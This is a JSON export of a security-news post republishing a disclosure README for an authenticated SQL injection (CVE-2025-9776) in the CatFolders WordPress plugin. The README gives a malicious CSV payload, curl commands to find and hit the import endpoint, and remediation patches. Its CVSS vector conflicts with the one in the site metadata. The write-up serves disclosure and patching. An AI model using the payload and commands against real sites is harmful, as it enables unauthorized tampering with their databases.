{"id":52565,"date":"2026-05-08T13:40:33","date_gmt":"2026-05-08T13:40:33","guid":{"rendered":"https:\/\/zero.redgem.net\/?p=52565"},"modified":"2026-05-08T13:40:33","modified_gmt":"2026-05-08T13:40:33","slug":"wordpress-catfolders-252-sql-injection","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=52565","title":{"rendered":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:03:47&#8243;,&#8221;description&#8221;:&#8221;WordPress CatFolders plugin versions 2.5.2 and below suffer from a remote SQL injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220601&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9776&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-9776: Authenticated SQL Injection in CatFolders WordPress Plugin\\n    \\n    [![CVE](https:\/\/img.shields.io\/badge\/CVE-2025&#8211;9776-red)](https:\/\/cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2025-9776)\\n    [![CVSS Score](https:\/\/img.shields.io\/badge\/CVSS-6.5%20Medium-orange)](https:\/\/nvd.nist.gov\/vuln-metrics\/cvss\/v3-calculator)\\n    [![WordPress Plugin](https:\/\/img.shields.io\/badge\/WordPress-Plugin-blue)](https:\/\/wordpress.org\/plugins\/catfolders\/)\\n    [![CWE-89](https:\/\/img.shields.io\/badge\/CWE-89-critical)](https:\/\/cwe.mitre.org\/data\/definitions\/89.html)\\n    [![Wordfence](https:\/\/img.shields.io\/badge\/Disclosed-Wordfence-success)](https:\/\/www.wordfence.com\/)\\n    \\n    \\u003e **Keywords:** CVE-2025-9776, CatFolders WordPress vulnerability, SQL injection WordPress, authenticated SQL injection, WordPress security, CSV import vulnerability, WordPress plugin exploit, CWE-89, WordPress database attack, media library vulnerability, WordPress CVE 2025\\n    \\n    ## Table of Contents\\n    \\n    &#8211; [Overview](#overview)\\n    &#8211; [Vulnerability Details](#vulnerability-details)\\n    &#8211; [Technical Analysis](#technical-details)\\n    &#8211; [Proof of Concept](#proof-of-concept)\\n    &#8211; [Remediation Guide](#remediation)\\n    &#8211; [CVSS Metrics](#cvss-v31-metrics)\\n    &#8211; [References](#references)\\n    &#8211; [Security Contact](#contact)\\n    \\n    ## Overview\\n    \\n    An authenticated SQL Injection vulnerability was discovered in the CatFolders WordPress plugin that allows Author-level users to manipulate database queries through malicious CSV imports.\\n    \\n    **Discovered by:** Kai Aizen (SnailSploit)  \\n    **Published:** 2025  \\n    **CVSS Score:** 6.5 (Medium)  \\n    **CWE:** CWE-89 &#8211; SQL Injection\\n    \\n    ## Vulnerability Details\\n    \\n    ### Description\\n    \\n    CatFolders \u2013 Tame Your WordPress Media Library by Category contains an authenticated SQL Injection vulnerability in the CSV import functionality. The `attachments` column from a user-supplied CSV is split into a list and passed directly to `FolderModel::set_attachments()` which concatenates those values into raw SQL `IN (&#8230;)` clauses without proper sanitization or parameterization.\\n    \\n    ### Impact\\n    \\n    This vulnerability allows authenticated attackers with Author-level privileges to:\\n    &#8211; Execute arbitrary SQL queries\\n    &#8211; Mass deletion or manipulation of folder-attachment mappings\\n    &#8211; Potential data exposure depending on payload and database structure\\n    &#8211; Compromise database integrity and availability\\n    \\n    ### Affected Versions\\n    \\n    &#8211; **Vulnerable:** All versions \u2264 2.5.2\\n    &#8211; **Patched:** Version 2.5.3 and above (verify with vendor)\\n    \\n    ### CVSS v3.1 Metrics\\n    \\n    &#8220;`\\n    CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:N\/I:L\/A:L\\n    &#8220;`\\n    \\n    | Metric | Value |\\n    |&#8212;&#8212;&#8211;|&#8212;&#8212;-|\\n    | Attack Vector | Network (AV:N) |\\n    | Attack Complexity | Low (AC:L) |\\n    | Privileges Required | Low (PR:L) &#8211; Author+ |\\n    | User Interaction | None (UI:N) |\\n    | Scope | Unchanged (S:U) |\\n    | Confidentiality | None (C:N) |\\n    | Integrity | Low (I:L) |\\n    | Availability | Low (A:L) |\\n    \\n    ## Technical Details\\n    \\n    ### Vulnerable Code Path\\n    \\n    The vulnerability exists in the CSV import workflow:\\n    \\n    **File:** `includes\/Rest\/Controllers\/ImportController.php`\\n    \\n    1. The `import_csv` method parses uploaded CSV without per-field sanitization\\n    2. `restore_folders()` calls:\\n    &#8220;`php\\n    FolderModel::set_attachments( \\n        $new_folder[&#8216;id&#8217;], \\n        explode(&#8216;,&#8217;, $folder[&#8216;attachments&#8217;]), \\n        false \\n    );\\n    &#8220;`\\n    \\n    **File:** `includes\/Models\/FolderModel.php`\\n    \\n    3. `set_attachments()` builds raw SQL using string concatenation:\\n    &#8220;`php\\n    &#8216;raw&#8217; =\\u003e &#8216;post_id IN (&#8216; . $attachmentIds . &#8216;)&#8217;\\n    &#8220;`\\n    \\n    4. Each element is **not** cast to integer nor parameterized, allowing SQL injection\\n    \\n    ### Attack Vector\\n    \\n    An attacker with Author-level privileges (`upload_files` capability) can inject malicious SQL through the CSV import endpoint:\\n    \\n    **Malicious CSV payload:**\\n    &#8220;`csv\\n    id,name,attachments\\n    1,Test Folder,\\&#8221;1) OR 1=1&#8211;\\&#8221;\\n    &#8220;`\\n    \\n    **Resulting vulnerable query:**\\n    &#8220;`sql\\n    SELECT folder_id FROM wp_catf_folder_posts \\n    WHERE post_id IN (1) OR 1=1&#8211;)\\n    &#8220;`\\n    \\n    This breaks out of the `IN(&#8230;)` clause and alters query semantics, potentially affecting all rows.\\n    \\n    ### Prerequisites\\n    \\n    &#8211; Author-level account (or higher) on target WordPress site\\n    &#8211; CatFolders plugin installed and active\\n    &#8211; Access to the REST API import endpoint\\n    \\n    ## Proof of Concept\\n    \\n    ### Step 1: Discover the REST Namespace\\n    \\n    &#8220;`bash\\n    curl -s https:\/\/target.site\/wp-json | jq -r &#8216;.routes | keys[]&#8217; | grep &#8216;\/import-csv$&#8217;\\n    &#8220;`\\n    \\n    Typical result: `\/catf\/v1\/import-csv`\\n    \\n    ### Step 2: Prepare Malicious CSV\\n    \\n    Create a file named `catf_inject.csv`:\\n    \\n    &#8220;`csv\\n    id,name,attachments\\n    1,Malicious Folder,\\&#8221;1) OR 1=1&#8211;\\&#8221;\\n    &#8220;`\\n    \\n    ### Step 3: Execute the Attack\\n    \\n    &#8220;`bash\\n    NS=\\&#8221;\/catf\/v1\\&#8221;  # Replace with discovered namespace\\n    \\n    curl -i \\\\\\n      -u &#8216;author_user:APPLICATION_PASSWORD&#8217; \\\\\\n      -F \\&#8221;file=@catf_inject.csv;type=text\/csv\\&#8221; \\\\\\n      -X POST \\&#8221;https:\/\/target.site\/wp-json${NS}\/import-csv\\&#8221;\\n    &#8220;`\\n    \\n    **Expected response:**\\n    &#8220;`json\\n    { \\&#8221;success\\&#8221;: true }\\n    &#8220;`\\n    \\n    ### Impact Demonstration\\n    \\n    The server constructs and executes:\\n    &#8220;`sql\\n    SELECT folder_id FROM wp_catf_folder_posts WHERE post_id IN (1) OR 1=1&#8211;)\\n    &#8220;`\\n    \\n    This may perform broader DELETE\/INSERT operations than intended, often wiping folder-attachment relationships across the entire database.\\n    \\n    ### Safe Testing Environment\\n    \\n    Run the standalone SQLite simulation to observe the vulnerability safely:\\n    \\n    &#8220;`bash\\n    python3 poc\/catfolders_sql_poc.py\\n    &#8220;`\\n    \\n    This prints the vulnerable query and demonstrates how a malicious token returns all rows, while a parameterized version properly rejects it.\\n    \\n    ## Remediation\\n    \\n    ### For Site Administrators\\n    \\n    **Immediate Action Required:**\\n    \\n    1. Update CatFolders to version **2.5.3** or later\\n    2. Review user accounts with Author-level or higher privileges\\n    3. Audit database logs for suspicious queries between affected dates\\n    4. Check folder-attachment mappings for unexpected modifications\\n    \\n    ### For Developers\\n    \\n    **Two minimal hardening steps:**\\n    \\n    #### 1. Sanitize IDs Before Calling the Model\\n    \\n    &#8220;`diff\\n    &#8211; FolderModel::set_attachments( $new_folder[&#8216;id&#8217;], explode(&#8216;,&#8217;, $folder[&#8216;attachments&#8217;]), false );\\n    + $ids = array_filter( array_map( &#8216;intval&#8217;, explode(&#8216;,&#8217;, $folder[&#8216;attachments&#8217;]) ) );\\n    + if ( ! empty( $ids ) ) {\\n    +     FolderModel::set_attachments( (int) $new_folder[&#8216;id&#8217;], $ids, false );\\n    + }\\n    &#8220;`\\n    \\n    #### 2. Enforce Integers Inside `set_attachments()`\\n    \\n    &#8220;`diff\\n      $imgIds = apply_filters( &#8216;catf_attachment_ids_to_folder&#8217;, $imgIds );\\n    + $imgIds = array_values( array_filter( array_map( &#8216;intval&#8217;, (array) $imgIds ) ) );\\n    &#8220;`\\n    \\n    ### Stronger Recommendation\\n    \\n    Replace **all** raw SQL concatenation with parameterized queries using WordPress&#8217;s `$wpdb-\\u003eprepare()`:\\n    \\n    &#8220;`php\\n    $placeholders = implode(&#8216;,&#8217;, array_fill(0, count($imgIds), &#8216;%d&#8217;));\\n    $query = $wpdb-\\u003eprepare(\\n        \\&#8221;SELECT folder_id FROM {$wpdb-\\u003eprefix}catf_folder_posts WHERE post_id IN ($placeholders)\\&#8221;,\\n        &#8230;$imgIds\\n    );\\n    &#8220;`\\n    \\n    **Additionally:**\\n    &#8211; Validate all CSV fields strictly before processing\\n    &#8211; Implement input type validation at the API layer\\n    &#8211; Add rate limiting to the import endpoint\\n    &#8211; Log all import operations for audit trails\\n    \\n    ### Patch File\\n    \\n    A complete patch is available in `patch\/catfolders_fix.patch`\\n    \\n    ## Repository Structure\\n    \\n    &#8220;`\\n    CVE-2025-9776\/\\n    \u251c\u2500\u2500 README.md                    # This file\\n    \u251c\u2500\u2500 poc\/\\n    \u2502   \u251c\u2500\u2500 catf_inject.csv         # Malicious CSV payload\\n    \u2502   \u2514\u2500\u2500 catfolders_sql_poc.py   # Safe SQLite simulation\\n    \u2514\u2500\u2500 patch\/\\n        \u2514\u2500\u2500 catfolders_fix.patch    # Recommended fixes\\n    &#8220;`\\n    \\n    ## Timeline\\n    \\n    &#8211; **Discovery Date:** 2025\\n    &#8211; **Vendor Notification:** Coordinated disclosure via Wordfence\\n    &#8211; **Public Disclosure:** 2025\\n    &#8211; **Patch Available:** Version 2.5.3\\n    \\n    ## References\\n    \\n    &#8211; [MITRE CVE Entry](https:\/\/www.cve.org\/CVERecord?id=CVE-2025-9776)\\n    &#8211; [Wordfence Intelligence Advisory](https:\/\/www.wordfence.com\/threat-intel\/vulnerabilities\/wordpress-plugins\/catfolders\/catfolders-tame-your-wordpress-media-library-by-category-252-authenticated-author-sql-injection-via-csv-import)\\n    &#8211; [WordPress Plugin Directory](https:\/\/wordpress.org\/plugins\/catfolders\/)\\n    &#8211; [SnailSploit Research](https:\/\/snailsploit.com)\\n    \\n    ## Credits\\n    \\n    **Researcher:** Kai Aizen (SnailSploit)\\n    \\n    **Disclosure Process:** Coordinated through Wordfence Bug Bounty Program\\n    \\n    ## Ethical Considerations\\n    \\n    **\u26a0\ufe0f IMPORTANT DISCLAIMER**\\n    \\n    This Proof of Concept is provided **exclusively for defensive research and educational purposes**.\\n    \\n    ### Usage Guidelines\\n    \\n    &#8211; \u2705 **DO:** Test on your own systems or with explicit written authorization\\n    &#8211; \u2705 **DO:** Use for security training and awareness\\n    &#8211; \u2705 **DO:** Implement the fixes in your own code\\n    &#8211; \u274c **DO NOT:** Test against systems without permission\\n    &#8211; \u274c **DO NOT:** Use for malicious purposes\\n    &#8211; \u274c **DO NOT:** Exploit in production environments\\n    \\n    ### Legal Notice\\n    \\n    Unauthorized access to computer systems is illegal under laws including:\\n    &#8211; Computer Fraud and Abuse Act (CFAA) &#8211; United States\\n    &#8211; Computer Misuse Act &#8211; United Kingdom  \\n    &#8211; Similar legislation in other jurisdictions\\n    \\n    **Use at your own risk. The researchers and SnailSploit assume no liability for misuse of this information.**\\n    \\n    ## Contact\\n    \\n    For questions or additional information about this vulnerability:\\n    &#8211; **Email:** kai@owasp.com\\n    &#8211; **LinkedIn:** [linkedin.com\/in\/kaiaizen](https:\/\/linkedin.com\/in\/kaiaizen)\\n    &#8211; **Website:** [snailsploit.com](https:\/\/snailsploit.com)\\n    &#8211; **Organization:** SnailSploit Security Research\\n    \\n    &#8212;\\n    \\n    **Stay secure and keep your WordPress installations updated!**\\n    \\n    *Last updated: October 13, 2025*\\n    \\n    \\u003c!&#8211; snailsploit-backlink:start &#8211;\\u003e\\n    \\n    &#8212;\\n    \\n    ## \ud83d\udcda Documentation \\u0026 Author\\n    \\n    This project&#8217;s full writeup, methodology, and related research lives at:\\n    \\n    **[https:\/\/snailsploit.com\/security-research\/cves\/cve-2025-9776\/](https:\/\/snailsploit.com\/security-research\/cves\/cve-2025-9776\/)**\\n    \\n    Created by **Kai Aizen** \u2014 independent offensive security researcher.\\n    \\n    [snailsploit.com](https:\/\/snailsploit.com) \u00b7 [Research](https:\/\/snailsploit.com\/research) \u00b7 [Frameworks](https:\/\/snailsploit.com\/frameworks) \u00b7 [GitHub](https:\/\/github.com\/SnailSploit) \u00b7 [LinkedIn](https:\/\/linkedin.com\/in\/kaiaizen) \u00b7 [ResearchGate](https:\/\/www.researchgate.net\/profile\/Kai-Aizen-2) \u00b7 [X\/Twitter](https:\/\/x.com\/SnailSploit)\\n    \\n    \\u003e *Same attack. Different substrate.*\\n    \\n    \\u003c!&#8211; snailsploit-backlink:end &#8211;\\u003e&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/220601&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:6.5,&#8221;severity&#8221;:&#8221;MEDIUM&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:N\/A:N&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/220601\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:03:47&#8243;,&#8221;description&#8221;:&#8221;WordPress CatFolders plugin versions 2.5.2 and below suffer from a remote SQL injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220601&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9776&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-9776: Authenticated SQL Injection in CatFolders&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,26,12,21,13,53,7,11,5],"class_list":["post-52565","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-65","tag-exploit","tag-medium","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=52565\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:03:47&#8243;,&#8221;description&#8221;:&#8221;WordPress CatFolders plugin versions 2.5.2 and below suffer from a remote SQL injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220601&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9776&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-9776: Authenticated SQL Injection in CatFolders...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=52565\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-05-08T13:40:33+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"9 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601\",\"datePublished\":\"2026-05-08T13:40:33+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565\"},\"wordCount\":1695,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"CVSS-6.5\",\"exploit\",\"MEDIUM\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52565#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565\",\"name\":\"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-05-08T13:40:33+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=52565\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=52565#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=52565","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-05-08T18:03:47&#8243;,&#8221;description&#8221;:&#8221;WordPress CatFolders plugin versions 2.5.2 and below suffer from a remote SQL injection vulnerability&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-05-08T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:220601&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-9776&#8243;],&#8221;sourceData&#8221;:&#8221;# CVE-2025-9776: Authenticated SQL Injection in CatFolders...","og_url":"https:\/\/zero.redgem.net\/?p=52565","og_site_name":"zero redgem","article_published_time":"2026-05-08T13:40:33+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"9 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=52565#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=52565"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601","datePublished":"2026-05-08T13:40:33+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=52565"},"wordCount":1695,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","CVSS-6.5","exploit","MEDIUM","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=52565#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=52565","url":"https:\/\/zero.redgem.net\/?p=52565","name":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-05-08T13:40:33+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=52565#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=52565"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=52565#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 WordPress CatFolders 2.5.2 SQL Injection_PACKETSTORM:220601"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero 